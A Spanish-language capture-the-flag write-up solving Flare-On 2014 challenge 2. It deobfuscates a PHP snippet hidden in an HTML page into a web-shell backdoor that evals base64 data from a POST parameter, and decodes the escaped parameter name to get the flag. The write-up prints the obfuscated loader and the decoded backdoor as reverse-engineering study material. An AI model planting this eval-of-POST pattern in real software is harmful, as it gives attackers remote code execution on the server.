Otro writeup mas de como resolver el reto 02 del primer Flare-On_2014 de Fireeye, llamado Javascrap.

Bien comenzamos por descargar este reto, “C2.zip” y validarlo. En este challenge y los siguientes todos serán archivos zip con la contraseña “malware”

Bien comenzamos por descomprimir el challenge “C2.zip”, el cual esta protegido por la contraseña “malware”.

Nota: Todos los archivos de challenge se encuentran dentro de un zip que se descarga aquí

unzip

Al ver el contenido tenemos 2 archivos, una imagen y un archivo html:

file

Si analizamos el documento html, nos daremos cuenta que la pagina corresponde a la original del primer flare-on, por lo que el código en si, es igual que la pagina que estaba ejecutándose en dicho momento:

                     individuals interested in reverse engineering. We have created this series of binary
                     challenges to test your skills. We encourage anyone to participate and practice their
                     skills while having fun!</p>

                  <p>At launch, a download link for the first challenge will show up here. The first
                     challenge is a self-extracting zip file that requires you accept our End User

Pero así parece ilegible lo que tenemos, mejor ordenemos un poco mejor:

<?php

for($i=0; $i < count($order); $i++)
{
  $do_me = $do_me.$terms[$order[$i]];
}

eval($do_me); ?>

Con $terms tenemos las palabras que estaremos utilizando, mientras que $order nos indica el orden en que se colocaran dichos caracteres. El ciclo for genera un nueva variable $do_me que contiene el texto que ejecutara eval().

Para esto podemos usar el mismo código y crear un archivo c1.php, solo que en lugar de correr eval, corremos print:

do_me

Ok, la salida del comando es el siguiente código:

$_= \'aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9\';

$___="\x62\141\x73\145\x36\64\x5f\144\x65\143\x6f\144\x65";
eval($___($__));

En esta parte, tenemos 3 definiciones que después pasan por eval(), por lo que empecemos decodificar cada una de ellas:

$_ = aWYoaXNzZXQoJF9QT1NUWyJcOTdcNDlcNDlcNjhceDRGXDg0XDExNlx4NjhcOTdceDc0XHg0NFx4NEZceDU0XHg2QVw5N1x4NzZceDYxXHgzNVx4NjNceDcyXDk3XHg3MFx4NDFcODRceDY2XHg2Q1w5N1x4NzJceDY1XHg0NFw2NVx4NTNcNzJcMTExXDExMFw2OFw3OVw4NFw5OVx4NkZceDZEIl0pKSB7IGV2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbIlw5N1w0OVx4MzFcNjhceDRGXHg1NFwxMTZcMTA0XHg2MVwxMTZceDQ0XDc5XHg1NFwxMDZcOTdcMTE4XDk3XDUzXHg2M1wxMTRceDYxXHg3MFw2NVw4NFwxMDJceDZDXHg2MVwxMTRcMTAxXHg0NFw2NVx4NTNcNzJcMTExXHg2RVx4NDRceDRGXDg0XDk5XHg2Rlx4NkQiXSkpOyB9

Esto parece base64, veamos si lo podemos decodificar:

var1-base64-decode

Ok, ahora tenemos las siguientes instrucciones:

if(
  isset( $_POST["\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D"]
  )
)
{
  eval(
    base64_decode(
      $_POST["\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D"]
    )
  );
}

Las variables $_POST contienen tanto datos en decimal como hexadecimal, por lo que debemos cambiar el encoding de cada una, para ello he escrito el siguiente programa en python que resuelve los dec y los hex:

#!/usr/bin/env python
# encoding: utf-8

import re, binascii

line1=r'\97\49\49\68\x4F\84\116\x68\97\x74\x44\x4F\x54\x6A\97\x76\x61\x35\x63\x72\97\x70\x41\84\x66\x6C\97\x72\x65\x44\65\x53\72\111\110\68\79\84\99\x6F\x6D'
line2=r'\97\49\x31\68\x4F\x54\116\104\x61\116\x44\79\x54\106\97\118\97\53\x63\114\x61\x70\65\84\102\x6C\x61\114\101\x44\65\x53\72\111\x6E\x44\x4F\84\99\x6F\x6D'

def replace_dec(match):
    return chr(int(match.group(1)))

def replace_hex(match):
    return match.group(1)[1:].decode('hex')

regex_dec = re.compile(r"\\(\d{1,3})")
regex_hex = re.compile(r"\\(x[0-9A-Fa-f]{2})")

print regex_hex.sub(replace_hex, regex_dec.sub(replace_dec, line1))
print regex_hex.sub(replace_hex, regex_dec.sub(replace_dec, line2))

Esto resuelve los encoding y nos devuelve los siguientes strings:

decode dec and hex

Si sustituimos DOT, AT y DASH en “a11DOTthatDOTjava5crapATflareDASHonDOTcom” tenemos “a11.that.java5crap@flare-on.com”, la cual conforma la flag del reto.

flag: a11.that.java5crap@flare-on.com
